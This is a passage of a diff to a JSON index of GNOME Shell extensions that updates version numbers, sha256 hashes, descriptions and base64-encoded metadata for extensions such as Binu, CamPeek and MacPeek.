+    "47": {"version": "4", "sha256": "1a541kknkp9ah0vd0cbh9rxipal93v301vv1cv94wmx52h9i746n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiQ2hhbmdlIHdhbGxwYXBlciBvZiBHTk9NRSB3aXRoIEJpbmcgd2FsbHBhcGVyIG9uIG9uZSBjbGljay4gVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggTWljcm9zb2Z0IGFuZCBCaW5nLiIsCiAgIm5hbWUiOiAiQmluZyBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc29uaWNoeS9HTk9NRV9leHRlbnNpb24iLAogICJ1dWlkIjogIkJpbmdXYWxscGFwZXJAc29uaWNoeSIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "48": {"version": "4", "sha256": "1a541kknkp9ah0vd0cbh9rxipal93v301vv1cv94wmx52h9i746n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiQ2hhbmdlIHdhbGxwYXBlciBvZiBHTk9NRSB3aXRoIEJpbmcgd2FsbHBhcGVyIG9uIG9uZSBjbGljay4gVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggTWljcm9zb2Z0IGFuZCBCaW5nLiIsCiAgIm5hbWUiOiAiQmluZyBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc29uaWNoeS9HTk9NRV9leHRlbnNpb24iLAogICJ1dWlkIjogIkJpbmdXYWxscGFwZXJAc29uaWNoeSIsCiAgInZlcnNpb24iOiA0Cn0="}
   }}
 , {"uuid": "plusclock@ams.f5.si", "name": "Plus Clock", "pname": "plus-clock", "description": "Add a standalone clock to your top bar.", "link": "https://extensions.gnome.org/extension/8082/plus-clock/", "shell_version_map": {
     "43": {"version": "3", "sha256": "0fivf1kb7ycr5n6r6zn3hkddaw50i92903vx8f97p4vqwvzklr3p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIHN0YW5kYWxvbmUgY2xvY2sgdG8geW91ciB0b3AgYmFyLiIsCiAgImdpdGh1Yl91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2xpbnV4LWphbS9wbHVzY2xvY2siLAogICJuYW1lIjogIlBsdXMgQ2xvY2siLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQzIgogIF0sCiAgInVybCI6ICIiLAogICJ1dWlkIjogInBsdXNjbG9ja0BhbXMuZjUuc2kiLAogICJ2ZXJzaW9uIjogMwp9"}
@@ -9287,43 +9315,46 @@
     "48": {"version": "3", "sha256": "17jla24wldvmvsi0y31yhnqwq5y3kdkn5vv80wswfj5831m8zawc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlV0aWxpemVzIGEgc2hvcnRjdXQgdG8gY2VudGVyIHRoZSB3aW5kb3cgb24gdGhlIHNjcmVlbiBhbmQgc2V0IGl0cyBzaXplIHRvIGEgcGVyY2VudGFnZSBvZiB0aGUgY3VycmVudCBzY3JlZW4gcmVzb2x1dGlvbi4iLAogICJuYW1lIjogIldpbmRvdyBDZW50ZXJpbmciLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93LWNlbnRlcmluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9oTmpKSE1UcjI3L3dpbmRvdy1jZW50ZXJpbmciLAogICJ1dWlkIjogIndpbmRvdy1jZW50ZXJpbmdAaG5qamhtdHIyNyIsCiAgInZlcnNpb24iOiAzCn0="}
   }}
 , {"uuid": "headphone-internal-switch@gustavomalta.github.com", "name": "Switch Internal/Headphone Audio", "pname": "switch-internalheadphone-audio", "description": "Adds a button to the top bar that enables internal speakers manually. This extension acts as a workaround when the headphones are plugged in but the system doesn't expose both audio outputs. ", "link": "https://extensions.gnome.org/extension/8089/switch-internalheadphone-audio/", "shell_version_map": {
-    "42": {"version": "2", "sha256": "14d995fsdzi37binkrbv5vng96m9ncsavyk627i8ck48plfl6m1g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgYSBidXR0b24gdG8gdGhlIHRvcCBiYXIgdGhhdCBlbmFibGVzIGludGVybmFsIHNwZWFrZXJzIG1hbnVhbGx5LiBUaGlzIGV4dGVuc2lvbiBhY3RzIGFzIGEgd29ya2Fyb3VuZCB3aGVuIHRoZSBoZWFkcGhvbmVzIGFyZSBwbHVnZ2VkIGluIGJ1dCB0aGUgc3lzdGVtIGRvZXNuJ3QgZXhwb3NlIGJvdGggYXVkaW8gb3V0cHV0cy4gIiwKICAibmFtZSI6ICJTd2l0Y2ggSW50ZXJuYWwvSGVhZHBob25lIEF1ZGlvIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0d1c3Rhdm9NYWx0YS9nbm9tZS1zaGVsbC1leHRlbnNpb24taGVhZHBob25lLWludGVybmFsLXN3aXRjaCIsCiAgInV1aWQiOiAiaGVhZHBob25lLWludGVybmFsLXN3aXRjaEBndXN0YXZvbWFsdGEuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAyCn0="}
+    "42": {"version": "3", "sha256": "07l2mj1lyq9qcbrz53dpxjw86xcslizxparsx7c1dwdrm5g5bwbm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgYSBidXR0b24gdG8gdGhlIHRvcCBiYXIgdGhhdCBlbmFibGVzIGludGVybmFsIHNwZWFrZXJzIG1hbnVhbGx5LiBUaGlzIGV4dGVuc2lvbiBhY3RzIGFzIGEgd29ya2Fyb3VuZCB3aGVuIHRoZSBoZWFkcGhvbmVzIGFyZSBwbHVnZ2VkIGluIGJ1dCB0aGUgc3lzdGVtIGRvZXNuJ3QgZXhwb3NlIGJvdGggYXVkaW8gb3V0cHV0cy4gIiwKICAibmFtZSI6ICJTd2l0Y2ggSW50ZXJuYWwvSGVhZHBob25lIEF1ZGlvIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0d1c3Rhdm9NYWx0YS9nbm9tZS1zaGVsbC1leHRlbnNpb24taGVhZHBob25lLWludGVybmFsLXN3aXRjaCIsCiAgInV1aWQiOiAiaGVhZHBob25lLWludGVybmFsLXN3aXRjaEBndXN0YXZvbWFsdGEuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzCn0="}
   }}
 , {"uuid": "MacPeek@gamalsherif1.github.io", "name": "MacPeek", "pname": "macpeek", "description": "Visually simulates the MacBook-style notch at the top center of your screen, adding a macOS-inspired design touch to your GNOME desktop.\n\n📌 To properly center the notch, it's recommended to install the [Top Bar Organizer](https://extensions.gnome.org/extension/4679/top-bar-organizer/) extension.  \nUse it to move the clock and status icons to the right, leaving space for MacPeek in the center.", "link": "https://extensions.gnome.org/extension/8090/macpeek/", "shell_version_map": {
     "46": {"version": "1", "sha256": "1bqrd85g74qrrizp11xxcb65im3a8bp0nh68qgb0iwgksfb8k38x", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpc3VhbGx5IHNpbXVsYXRlcyB0aGUgTWFjQm9vay1zdHlsZSBub3RjaCBhdCB0aGUgdG9wIGNlbnRlciBvZiB5b3VyIHNjcmVlbiwgYWRkaW5nIGEgbWFjT1MtaW5zcGlyZWQgZGVzaWduIHRvdWNoIHRvIHlvdXIgR05PTUUgZGVza3RvcC4iLAogICJuYW1lIjogIk1hY1BlZWsiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubWFjcGVlayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dhbWFsc2hlcmlmMS9NYWNQZWVrIiwKICAidXVpZCI6ICJNYWNQZWVrQGdhbWFsc2hlcmlmMS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMQp9"},
     "47": {"version": "1", "sha256": "1bqrd85g74qrrizp11xxcb65im3a8bp0nh68qgb0iwgksfb8k38x", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpc3VhbGx5IHNpbXVsYXRlcyB0aGUgTWFjQm9vay1zdHlsZSBub3RjaCBhdCB0aGUgdG9wIGNlbnRlciBvZiB5b3VyIHNjcmVlbiwgYWRkaW5nIGEgbWFjT1MtaW5zcGlyZWQgZGVzaWduIHRvdWNoIHRvIHlvdXIgR05PTUUgZGVza3RvcC4iLAogICJuYW1lIjogIk1hY1BlZWsiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubWFjcGVlayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dhbWFsc2hlcmlmMS9NYWNQZWVrIiwKICAidXVpZCI6ICJNYWNQZWVrQGdhbWFsc2hlcmlmMS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMQp9"},
     "48": {"version": "1", "sha256": "1bqrd85g74qrrizp11xxcb65im3a8bp0nh68qgb0iwgksfb8k38x", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlZpc3VhbGx5IHNpbXVsYXRlcyB0aGUgTWFjQm9vay1zdHlsZSBub3RjaCBhdCB0aGUgdG9wIGNlbnRlciBvZiB5b3VyIHNjcmVlbiwgYWRkaW5nIGEgbWFjT1MtaW5zcGlyZWQgZGVzaWduIHRvdWNoIHRvIHlvdXIgR05PTUUgZGVza3RvcC4iLAogICJuYW1lIjogIk1hY1BlZWsiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubWFjcGVlayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dhbWFsc2hlcmlmMS9NYWNQZWVrIiwKICAidXVpZCI6ICJNYWNQZWVrQGdhbWFsc2hlcmlmMS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMQp9"}
   }}
-, {"uuid": "binu@ctadel", "name": "Binu", "pname": "binu", "description": "Little Tweaks for GNOME for multiple monitors", "link": "https://extensions.gnome.org/extension/8091/binu/", "shell_version_map": {
-    "45": {"version": "6", "sha256": "0yyl1a7rxbi6h2qn7fy2wlhpw3f3ab6mwmdzc4i103xrnp9chapr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpdHRsZSBUd2Vha3MgZm9yIEdOT01FIGZvciBtdWx0aXBsZSBtb25pdG9ycyIsCiAgIm5hbWUiOiAiQmludSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5iaW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3RhZGVsL2JpbnUiLAogICJ1dWlkIjogImJpbnVAY3RhZGVsIiwKICAidmVyc2lvbiI6IDYKfQ=="},
-    "46": {"version": "6", "sha256": "0yyl1a7rxbi6h2qn7fy2wlhpw3f3ab6mwmdzc4i103xrnp9chapr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpdHRsZSBUd2Vha3MgZm9yIEdOT01FIGZvciBtdWx0aXBsZSBtb25pdG9ycyIsCiAgIm5hbWUiOiAiQmludSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5iaW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3RhZGVsL2JpbnUiLAogICJ1dWlkIjogImJpbnVAY3RhZGVsIiwKICAidmVyc2lvbiI6IDYKfQ=="},
-    "47": {"version": "6", "sha256": "0yyl1a7rxbi6h2qn7fy2wlhpw3f3ab6mwmdzc4i103xrnp9chapr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpdHRsZSBUd2Vha3MgZm9yIEdOT01FIGZvciBtdWx0aXBsZSBtb25pdG9ycyIsCiAgIm5hbWUiOiAiQmludSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5iaW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3RhZGVsL2JpbnUiLAogICJ1dWlkIjogImJpbnVAY3RhZGVsIiwKICAidmVyc2lvbiI6IDYKfQ=="}
+, {"uuid": "binu@ctadel", "name": "Binu", "pname": "binu", "description": "Tweaks for GNOME for multiple monitors\n - Navigate between multiple monitors\n - Move cursor to next/previous or X monitor\n - Swap All Windows Between Two Monitors", "link": "https://extensions.gnome.org/extension/8091/binu/", "shell_version_map": {
+    "45": {"version": "8", "sha256": "0rqyd49cqrzy1vab2lal6syk7hxfkpsy88q6s1w9mrqd2mbkpvsn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpdHRsZSBUd2Vha3MgZm9yIEdOT01FIGZvciBtdWx0aXBsZSBtb25pdG9ycyIsCiAgIm5hbWUiOiAiQmludSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5iaW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3RhZGVsL2JpbnUiLAogICJ1dWlkIjogImJpbnVAY3RhZGVsIiwKICAidmVyc2lvbiI6IDgKfQ=="},
+    "46": {"version": "8", "sha256": "0rqyd49cqrzy1vab2lal6syk7hxfkpsy88q6s1w9mrqd2mbkpvsn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpdHRsZSBUd2Vha3MgZm9yIEdOT01FIGZvciBtdWx0aXBsZSBtb25pdG9ycyIsCiAgIm5hbWUiOiAiQmludSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5iaW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3RhZGVsL2JpbnUiLAogICJ1dWlkIjogImJpbnVAY3RhZGVsIiwKICAidmVyc2lvbiI6IDgKfQ=="},
+    "47": {"version": "8", "sha256": "0rqyd49cqrzy1vab2lal6syk7hxfkpsy88q6s1w9mrqd2mbkpvsn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpdHRsZSBUd2Vha3MgZm9yIEdOT01FIGZvciBtdWx0aXBsZSBtb25pdG9ycyIsCiAgIm5hbWUiOiAiQmludSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5iaW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3RhZGVsL2JpbnUiLAogICJ1dWlkIjogImJpbnVAY3RhZGVsIiwKICAidmVyc2lvbiI6IDgKfQ=="}
   }}
-, {"uuid": "CamPeek@gamalsherif1.github.io", "name": "CamPeek", "pname": "campeek", "description": "CamPeek is a lightweight GNOME Shell extension inspired by the popular macOS app Hand Mirror, allowing you to instantly check your webcam directly from your Linux desktop's top bar.\n", "link": "https://extensions.gnome.org/extension/8092/campeek/", "shell_version_map": {
-    "46": {"version": "24", "sha256": "1bpdks7vnijjx6vsq93klcsvh24w2id5wkwp0wpd92wfg9vkjjgn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNhbVBlZWsgaXMgYSBsaWdodHdlaWdodCBHTk9NRSBTaGVsbCBleHRlbnNpb24gaW5zcGlyZWQgYnkgdGhlIHBvcHVsYXIgbWFjT1MgYXBwIEhhbmQgTWlycm9yLCBhbGxvd2luZyB5b3UgdG8gaW5zdGFudGx5IGNoZWNrIHlvdXIgd2ViY2FtIGRpcmVjdGx5IGZyb20geW91ciBMaW51eCBkZXNrdG9wJ3MgdG9wIGJhci5cblxuXHVkODNjXHVkZmE1IEtleSBGZWF0dXJlczpcblx1MjAyMiBcdTI3MjggSW5zdGFudCBBY2Nlc3M6IE9wZW4geW91ciB3ZWJjYW0gZmVlZCBpbiBvbmUgcXVpY2sgY2xpY2tcdTIwMTRwZXJmZWN0IGZvciBhIGxhc3QtbWludXRlIGNoZWNrIGJlZm9yZSB2aWRlbyBjYWxscy5cblx1MjAyMiBcdWQ4M2RcdWRkYmNcdWZlMGYgTWluaW1hbGlzdCBEZXNpZ246IEEgc2xlZWssIGFsd2F5cy1vbi10b3AsIGZyYW1lbGVzcyB3aW5kb3cgZm9yIGEgZGlzdHJhY3Rpb24tZnJlZSBwcmV2aWV3LlxuXHUyMDIyIFx1ZDgzZFx1ZGQxMiBQcml2YWN5IEZpcnN0OiBDYW1QZWVrIHN0cmVhbXMgeW91ciB3ZWJjYW0gZmVlZCBkaXJlY3RseSB3aXRob3V0IHJlY29yZGluZyBvciBzYXZpbmcgYW55IGRhdGEuXG5cdTIwMjIgXHVkODNkXHVkZTgwIExpZ2h0d2VpZ2h0ICYgU2ltcGxlOiBGYXN0LCB1bm9idHJ1c2l2ZSwgYW5kIGludGVncmF0ZXMgc21vb3RobHkgaW50byB5b3VyIEdOT01FIGRlc2t0b3AgZXhwZXJpZW5jZS5cblxuXHVkODNkXHVkY2NjIElkZWFsIEZvcjpcblx1MjAyMiBRdWlja2x5IGNoZWNraW5nIHlvdXIgYXBwZWFyYW5jZSBvciBlbnZpcm9ubWVudCBiZWZvcmUgbWVldGluZ3MuXG5cdTIwMjIgQ29uZmlybWluZyBjYW1lcmEgZnVuY3Rpb25hbGl0eSBpbnN0YW50bHlcdTIwMTRubyBuZWVkIHRvIG9wZW4gaGVhdnkgYXBwbGljYXRpb25zLlxuXHUyMDIyIFByaXZhY3ktY29uc2Npb3VzIHVzZXJzIGxvb2tpbmcgZm9yIGEgZmFzdCBhbmQgc3RyYWlnaHRmb3J3YXJkIHdlYmNhbSBwcmV2aWV3IHRvb2wuIiwKICAibmFtZSI6ICJDYW1QZWVrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ2FtYWxzaGVyaWYxL0NhbVBlZWsiLAogICJ1dWlkIjogIkNhbVBlZWtAZ2FtYWxzaGVyaWYxLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiAyNAp9"},
-    "47": {"version": "24", "sha256": "1bpdks7vnijjx6vsq93klcsvh24w2id5wkwp0wpd92wfg9vkjjgn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNhbVBlZWsgaXMgYSBsaWdodHdlaWdodCBHTk9NRSBTaGVsbCBleHRlbnNpb24gaW5zcGlyZWQgYnkgdGhlIHBvcHVsYXIgbWFjT1MgYXBwIEhhbmQgTWlycm9yLCBhbGxvd2luZyB5b3UgdG8gaW5zdGFudGx5IGNoZWNrIHlvdXIgd2ViY2FtIGRpcmVjdGx5IGZyb20geW91ciBMaW51eCBkZXNrdG9wJ3MgdG9wIGJhci5cblxuXHVkODNjXHVkZmE1IEtleSBGZWF0dXJlczpcblx1MjAyMiBcdTI3MjggSW5zdGFudCBBY2Nlc3M6IE9wZW4geW91ciB3ZWJjYW0gZmVlZCBpbiBvbmUgcXVpY2sgY2xpY2tcdTIwMTRwZXJmZWN0IGZvciBhIGxhc3QtbWludXRlIGNoZWNrIGJlZm9yZSB2aWRlbyBjYWxscy5cblx1MjAyMiBcdWQ4M2RcdWRkYmNcdWZlMGYgTWluaW1hbGlzdCBEZXNpZ246IEEgc2xlZWssIGFsd2F5cy1vbi10b3AsIGZyYW1lbGVzcyB3aW5kb3cgZm9yIGEgZGlzdHJhY3Rpb24tZnJlZSBwcmV2aWV3LlxuXHUyMDIyIFx1ZDgzZFx1ZGQxMiBQcml2YWN5IEZpcnN0OiBDYW1QZWVrIHN0cmVhbXMgeW91ciB3ZWJjYW0gZmVlZCBkaXJlY3RseSB3aXRob3V0IHJlY29yZGluZyBvciBzYXZpbmcgYW55IGRhdGEuXG5cdTIwMjIgXHVkODNkXHVkZTgwIExpZ2h0d2VpZ2h0ICYgU2ltcGxlOiBGYXN0LCB1bm9idHJ1c2l2ZSwgYW5kIGludGVncmF0ZXMgc21vb3RobHkgaW50byB5b3VyIEdOT01FIGRlc2t0b3AgZXhwZXJpZW5jZS5cblxuXHVkODNkXHVkY2NjIElkZWFsIEZvcjpcblx1MjAyMiBRdWlja2x5IGNoZWNraW5nIHlvdXIgYXBwZWFyYW5jZSBvciBlbnZpcm9ubWVudCBiZWZvcmUgbWVldGluZ3MuXG5cdTIwMjIgQ29uZmlybWluZyBjYW1lcmEgZnVuY3Rpb25hbGl0eSBpbnN0YW50bHlcdTIwMTRubyBuZWVkIHRvIG9wZW4gaGVhdnkgYXBwbGljYXRpb25zLlxuXHUyMDIyIFByaXZhY3ktY29uc2Npb3VzIHVzZXJzIGxvb2tpbmcgZm9yIGEgZmFzdCBhbmQgc3RyYWlnaHRmb3J3YXJkIHdlYmNhbSBwcmV2aWV3IHRvb2wuIiwKICAibmFtZSI6ICJDYW1QZWVrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ2FtYWxzaGVyaWYxL0NhbVBlZWsiLAogICJ1dWlkIjogIkNhbVBlZWtAZ2FtYWxzaGVyaWYxLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiAyNAp9"},
-    "48": {"version": "24", "sha256": "1bpdks7vnijjx6vsq93klcsvh24w2id5wkwp0wpd92wfg9vkjjgn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNhbVBlZWsgaXMgYSBsaWdodHdlaWdodCBHTk9NRSBTaGVsbCBleHRlbnNpb24gaW5zcGlyZWQgYnkgdGhlIHBvcHVsYXIgbWFjT1MgYXBwIEhhbmQgTWlycm9yLCBhbGxvd2luZyB5b3UgdG8gaW5zdGFudGx5IGNoZWNrIHlvdXIgd2ViY2FtIGRpcmVjdGx5IGZyb20geW91ciBMaW51eCBkZXNrdG9wJ3MgdG9wIGJhci5cblxuXHVkODNjXHVkZmE1IEtleSBGZWF0dXJlczpcblx1MjAyMiBcdTI3MjggSW5zdGFudCBBY2Nlc3M6IE9wZW4geW91ciB3ZWJjYW0gZmVlZCBpbiBvbmUgcXVpY2sgY2xpY2tcdTIwMTRwZXJmZWN0IGZvciBhIGxhc3QtbWludXRlIGNoZWNrIGJlZm9yZSB2aWRlbyBjYWxscy5cblx1MjAyMiBcdWQ4M2RcdWRkYmNcdWZlMGYgTWluaW1hbGlzdCBEZXNpZ246IEEgc2xlZWssIGFsd2F5cy1vbi10b3AsIGZyYW1lbGVzcyB3aW5kb3cgZm9yIGEgZGlzdHJhY3Rpb24tZnJlZSBwcmV2aWV3LlxuXHUyMDIyIFx1ZDgzZFx1ZGQxMiBQcml2YWN5IEZpcnN0OiBDYW1QZWVrIHN0cmVhbXMgeW91ciB3ZWJjYW0gZmVlZCBkaXJlY3RseSB3aXRob3V0IHJlY29yZGluZyBvciBzYXZpbmcgYW55IGRhdGEuXG5cdTIwMjIgXHVkODNkXHVkZTgwIExpZ2h0d2VpZ2h0ICYgU2ltcGxlOiBGYXN0LCB1bm9idHJ1c2l2ZSwgYW5kIGludGVncmF0ZXMgc21vb3RobHkgaW50byB5b3VyIEdOT01FIGRlc2t0b3AgZXhwZXJpZW5jZS5cblxuXHVkODNkXHVkY2NjIElkZWFsIEZvcjpcblx1MjAyMiBRdWlja2x5IGNoZWNraW5nIHlvdXIgYXBwZWFyYW5jZSBvciBlbnZpcm9ubWVudCBiZWZvcmUgbWVldGluZ3MuXG5cdTIwMjIgQ29uZmlybWluZyBjYW1lcmEgZnVuY3Rpb25hbGl0eSBpbnN0YW50bHlcdTIwMTRubyBuZWVkIHRvIG9wZW4gaGVhdnkgYXBwbGljYXRpb25zLlxuXHUyMDIyIFByaXZhY3ktY29uc2Npb3VzIHVzZXJzIGxvb2tpbmcgZm9yIGEgZmFzdCBhbmQgc3RyYWlnaHRmb3J3YXJkIHdlYmNhbSBwcmV2aWV3IHRvb2wuIiwKICAibmFtZSI6ICJDYW1QZWVrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ2FtYWxzaGVyaWYxL0NhbVBlZWsiLAogICJ1dWlkIjogIkNhbVBlZWtAZ2FtYWxzaGVyaWYxLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiAyNAp9"}
+, {"uuid": "CamPeek@gamalsherif1.github.io", "name": "CamPeek", "pname": "campeek", "description": "CamPeek is a powerful yet lightweight GNOME Shell extension inspired by the popular macOS app Hand Mirror, providing instant webcam access directly from your Linux desktop's top bar with advanced camera compatibility and intelligent detection.\n\n🎥 Key Features:\n• ✨ Instant Access: Open your webcam feed in one quick click—perfect for a last-minute check before video calls.\n• 🖼️ Minimalist Design: A sleek, always-on-top, frameless window for a distraction-free preview.\n• 🔒 Privacy First: CamPeek streams your webcam feed directly without recording or saving any data.\n• 🚀 Lightweight &amp; Simple: Fast, unobtrusive, and integrates smoothly into your GNOME desktop experience.\n\n🔧 Advanced Camera 